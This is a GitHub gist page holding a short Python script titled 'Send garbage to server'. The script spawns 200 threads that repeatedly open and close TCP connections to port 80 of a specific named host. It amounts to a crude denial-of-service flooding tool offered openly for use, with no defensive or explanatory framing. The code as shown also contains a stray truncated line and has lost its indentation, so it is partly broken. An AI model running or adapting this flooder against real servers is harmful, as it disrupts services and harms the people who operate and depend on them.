Skip to content

Instantly share code, notes, and snippets.

@mikroskeem
Created December 10, 2014 22:22
Show Gist options
  • Save mikroskeem/0846457a992b0003dd0d to your computer and use it in GitHub Desktop.
Save mikroskeem/0846457a992b0003dd0d to your computer and use it in GitHub Desktop.
Send garbage to server
import os, socket, threading, time
a = 'chadillac.servebeer.com'
p = 80
class kill(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
self.run = True
while self.run:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc
sock.connect((a, p))
time.sleep(.001)
sock.close()
del sock
thrs = []
for i in range(0, 200):
nthr = kill()
nthr.start()
thrs.append(nthr)
try:
while True:
time.sleep(1)
except:
for k in thrs:
k.run = False
k.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment